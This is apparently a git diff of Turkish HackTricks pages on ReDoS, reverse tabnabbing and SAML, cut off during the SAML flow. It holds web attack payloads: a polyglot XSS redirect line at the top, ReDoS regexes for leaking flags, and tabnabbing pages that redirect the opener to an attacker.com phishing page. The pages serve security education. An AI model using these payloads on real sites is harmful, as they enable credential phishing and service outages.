javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,53 +1,54 @@
# Düzenli İfade Hizmet Dışı Bırakma - ReDoS
# Regular expression Denial of Service - ReDoS
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Düzenli İfade Hizmet Dışı Bırakma (ReDoS)
# Regular Expression Denial of Service (ReDoS)
Bir **Düzenli İfade Hizmet Dışı Bırakma (ReDoS)**, düzenli ifadelerin (metinde desenleri aramak ve eşleştirmek için bir yol) nasıl çalıştığındaki zayıflıklardan faydalanıldığında meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle çalıştıkları metin parçası büyüdükçe, çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutunda bile küçük artışlarla hızla büyüyebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeler kullanan bir programın uzun süre düzgün çalışmasını engelleyebilir.
Bir **Regular Expression Denial of Service (ReDoS)**, birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun süre düzgün çalışmasını engelleyebilirler.
## Sorunlu Regex Naif Algoritması
## Problemli Regex Naïve Algoritması
**Detayları [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** adresinde kontrol edin.
**Detayları kontrol edin [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Kötü Amaçlı Regexler <a href="#evil-regexes" id="evil-regexes"></a>
## Kötü Regexler <a href="#evil-regexes" id="evil-regexes"></a>
Kötü bir düzenli ifade deseni, bir DoS'a neden olacak şekilde oluşturulmuş girdide takılı kalabilen bir desendir. Kötü amaçlı regex desenleri genellikle tekrarlayan gruplama ve tekrarlama veya tekrarlayan grup içinde örtüşme içeren desenler içerir. Kötü desen örnekleri şunları içerir:
Kötü bir düzenli ifade deseni, **özel olarak hazırlanmış girdi üzerinde takılı kalabilen** bir desendir. Kötü regex desenleri genellikle tekrar ve tekrar ile gruplama içerir veya tekrar eden grupta örtüşme ile alternatiflik içerir. Kötü desenlere bazı örnekler şunlardır:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} için x > 10
* (.*a){x} for x > 10
Tüm bunlar, `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
Bunların hepsi `aaaaaaaaaaaaaaaaaaaaaaaa!` girdisine karşı savunmasızdır.
## ReDoS Yükleri
## ReDoS Payload'ları
### ReDoS Aracılığıyla Dize Sızdırma
### ReDoS ile Dize Sızdırma
Bir CTF (veya hata ödülü) sırasında, hassas bilgilerin (bayrak) eşleştiği Regex'i **siz kontrol edebilirsiniz**. Ardından, bir Regex eşleşirse **sayfayı dondurmanız (zaman aşımı veya daha uzun işleme süresi)** ve eşleşmezse **dondurmamanız** yararlı olabilir. Bu şekilde, dizeyi **karakter karakter** sızdırabilirsiniz:
Bir CTF'de (veya hata ödülü) belki de **Regex'in eşleştiği hassas bir bilgiyi (bayrağı) kontrol ediyorsunuzdur**. O zaman, **Regex eşleştiğinde (zaman aşımı veya daha uzun işleme süresi)** sayfanın **donmasını sağlamak** faydalı olabilir ve **eşleşmediğinde değil**. Bu şekilde, dizeyi **karakter karakter** **sızdırabilirsiniz**:
* [**Bu gönderide**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) şu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
* [**bu yazıda**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) bu ReDoS kuralını bulabilirsiniz: `^(?=<flag>)((.*)*)*salt$`
* Örnek: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**Bu çözümde**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) şunu bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
* [**Bu çözümde**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
* [**bu yazımda**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) bu örneği bulabilirsiniz: `<flag>(((((((.*)*)*)*)*)*)*)!`
* [**bu yazımda**](https://ctftime.org/writeup/25869) şunu kullandı: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### Giriş ve Regex'i Kontrol Eden ReDoS
### ReDoS Girdi ve Regex Kontrolü
Aşağıdakiler, **girişi** ve **regex'i** kontrol ettiğiniz **ReDoS** örnekleridir:
Aşağıdakiler, **girdiyi** ve **regex'i** **kontrol ettiğiniz** **ReDoS** örnekleridir:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
@ -88,16 +89,17 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Açıklama
Bir **saldırgan**, bir **kurban** tarafından tıklanacak olan **`target="_blank" rel="opener"`** özniteliğine sahip bir **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kendi kontrolü altındaki bir web sitesine (bir **zararlı** **web sitesi**) yönlendirebilir. Ardından, kurban bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu **zararlı** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal sayfayı kontrol edebilir**.\
Eğer sayfada **`rel="opener"`** bulunmuyor ancak **`target="_blank"`** bulunuyorsa ve **`rel="noopener"`** de bulunmuyorsa, bu da zayıf olabilir.
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altındaki bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Daha sonra, **mağdur bağlantıya tıkladığında** ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol edebilir**.\
Eğer sayfa **`rel="opener"`** içermiyorsa ama **`target="_blank"`** içeriyorsa ve **`rel="noopener"`** içermiyorsa, bu da savunmasız olabilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, `window.opener.location = https://attacker.com/victim.html` aracılığıyla **orijinal web sitesinin konumunu değiştirmek** ve saldırgan tarafından kontrol edilen, **orijinaline benzeyen** bir web sitesine yönlendirmektir, böylece kullanıcıdan kimlik bilgilerini isteyebilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki ve **orijinaline benzeyen** bir web sitesine değiştirmektir, böylece **orijinal web sitesinin** **giriş** **formunu** **taklit edebilir** ve kullanıcıdan kimlik bilgilerini isteyebilir.
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiği için**, daha gizli saldırılar gerçekleştirmek için başka yollarla da kötüye kullanabilir (belki javascript etkinliklerini değiştirerek bilgileri kendisi tarafından kontrol edilen bir sunucuya çalmak?)
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiğinden**, bunu başka şekillerde kötüye kullanabilir ve **gizli saldırılar** gerçekleştirebilir (belki javascript olaylarını değiştirerek kendisine ait bir sunucuya bilgi sızdırmak?).
# Genel Bakış
## Geri bağlantı ile
Önleme özniteliği kullanılmadığında, ana ve alt sayfalar arasındaki bağlantı:
Önleme özelliği kullanılmadığında ana ve alt sayfalar arasındaki bağlantı:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Geri bağlantı olmadan
Önleme özniteliği kullanıldığında, ana ve alt sayfalar arasındaki bağlantı:
Önleme özelliği kullanıldığında ana ve alt sayfalar arasındaki bağlantı:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Örnekler <a href="#examples" id="examples"></a>
Aşağıdaki sayfaları bir klasöre oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
Ardından, `http://127.0.0.1:8000/`vulnerable.html'ye **erişin**, bağlantıya **tıklayın** ve **orijinal** **web sitesinin URL'sinin nasıl değiştiğini** not edin.
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
Sonra, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL'sinin** **nasıl değiştiğini** not edin.
{% code title="vulnerable.html" %}
```markup
@ -51,7 +52,9 @@ Ardından, `http://127.0.0.1:8000/`vulnerable.html'ye **erişin**, bağlantıya
</body>
</html>
```
{% code title="kötücül.html" %}
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
@ -62,7 +65,9 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</body>
</html>
```
{% code title="kötü_niyetli_redir.html" %}
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
@ -75,39 +80,37 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
**Çapraz kökenli** bir erişimin (farklı alanlar arasında erişim) gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen **opener** JavaScript nesne referansıyla ilişkilendirilen **window** JavaScript sınıf örneğinin erişebileceği özellikler aşağıdakiyle sınırlıdır:
**Farklı kökenler** arasında bir erişim gerçekleştiğinde (farklı alanlar arasında erişim), kötü niyetli bir sitenin erişebileceği **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdaki ile sınırlıdır:
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döndürür.
- **`opener.frames`**: Bu özellik, mevcut pencere içindeki tüm iframe öğelerine erişim sağlar.
- **`opener.length`**: Bu özellik, mevcut penceredeki iframe öğelerinin sayısını döndürür.
- **`opener.opener`**: Bu özellik aracılığıyla, mevcut pencereyi açan pencereye referans alınabilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst penceresini döndürür.
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencere referansını döner.
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döndürür.
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
Ancak, alanlar aynı olduğunda, kötü niyetli site [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim sağlar.
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından ığa çıkarılan tüm özelliklere erişim kazanır.
# Önleme
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) belgesine kaydedilmiştir.
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) belgesinde belgelenmiştir.
## Referanslar
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,92 +1,93 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SAML Genel Bakış
**Security Assertion Markup Language (SAML)**, kimlik sağlayıcıların (IdP) yetkilendirme kimlik bilgilerini hizmet sağlayıcılara (SP) göndermek için kullanılmasını sağlayarak tek oturum açma (SSO) işlemini kolaylaştırır. Bu yaklaşım, tek bir kimlik bilgisi kümesinin birden çok web sitesinde kullanılmasına izin vererek çoklu oturum açma yönetimini basitleştirir. Kimlik sağlayıcılar ve hizmet sağlayıcılar arasında standartlaştırılmış iletişim için XML'yi kullanır ve kullanıcı kimliğinin kimlik doğrulamasını hizmet yetkilendirmesiyle bağlar.
**Security Assertion Markup Language (SAML)**, kimlik sağlayıcılarının (IdP) hizmet sağlayıcılarına (SP) yetkilendirme kimlik bilgilerini göndermesine olanak tanır ve tek oturum açma (SSO) işlemini kolaylaştırır. Bu yaklaşım, bir dizi kimlik bilgisi kullanarak birden fazla web sitesinde oturum açmayı yönetmeyi basitleştirir. IdP'ler ve SP'ler arasında standartlaştırılmış iletişim için XML kullanır ve kullanıcı kimliğinin doğrulanmasını hizmet yetkilendirmesi ile ilişkilendirir.
## SAML ve OAuth Karşılaştırması
## SAML ve OAuth Arasındaki Karşılaştırma
- **SAML**, SSO oturum açma güvenliği üzerinde daha fazla kontrol sağlamak için kurumlara yöneliktir.
- **OAuth**, daha mobil dostu olacak şekilde tasarlanmıştır, JSON kullanır ve Google ve Twitter gibi şirketlerin işbirliğiyle geliştirilmiştir.
- **SAML**, işletmelere SSO oturum açma güvenliği üzerinde daha fazla kontrol sağlamak için tasarlanmıştır.
- **OAuth**, daha mobil dostu olacak şekilde tasarlanmış, JSON kullanır ve Google ve Twitter gibi şirketlerin ortak çabasıdır.
# SAML Kimlik Doğrulama Akışı
**Daha fazla ayrıntı için [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)** adresindeki tam yazıya bakın. İşte bir özet:
**Daha fazla ayrıntı için [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) adresindeki tam gönderiyi kontrol edin.** Bu bir özet:
SAML kimlik doğrulama süreci, şemada gösterildiği gibi birkaç adımdan oluşur:
SAML kimlik doğrulama süreci, şemada gösterildiği gibi birkaç adım içerir:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Kaynak Erişim Denemesi**: Kullanıcı, korumalı bir kaynağa erişmeye çalışır.
2. **SAML İstemi Oluşturma**: SP, kullanıcıyı tanımaz ve bir SAML İsteği oluşturur.
3. **IdP'ye Yönlendirme**: Kullanıcı, SAML İsteği tarayıcısı aracılığıyla geçerek IdP'ye yönlendirilir.
4. **IdP İstemi Alır**: IdP, SAML İsteğini alır.
5. **IdP'de Kimlik Doğrulama**: IdP, kullanıcının kimliğini doğrular.
6. **Kullanıcı Doğrulaması**: IdP, kullanıcının istenen kaynağa erişim yetkisini doğrular.
7. **SAML Yanıtı Oluşturma**: IdP, gerekli bildirimleri içeren bir SAML Yanıtı oluşturur.
8. **SP'nin ACS URL'sine Yönlendirme**: Kullanıcı, SP'nin Assertion Consumer Service (ACS) URL'sine yönlendirilir.
1. **Kaynağa Erişim Denemesi**: Kullanıcı korumalı bir kaynağa erişmeye çalışır.
2. **SAML İsteği Oluşturma**: SP, kullanıcıyı tanımaz ve bir SAML İsteği oluşturur.
3. **IdP'ye Yönlendirme**: Kullanıcı, SAML İsteği kullanıcının tarayıcısından geçerek IdP'ye yönlendirilir.
4. **IdP İsteği Alır**: IdP, SAML İsteğini alır.
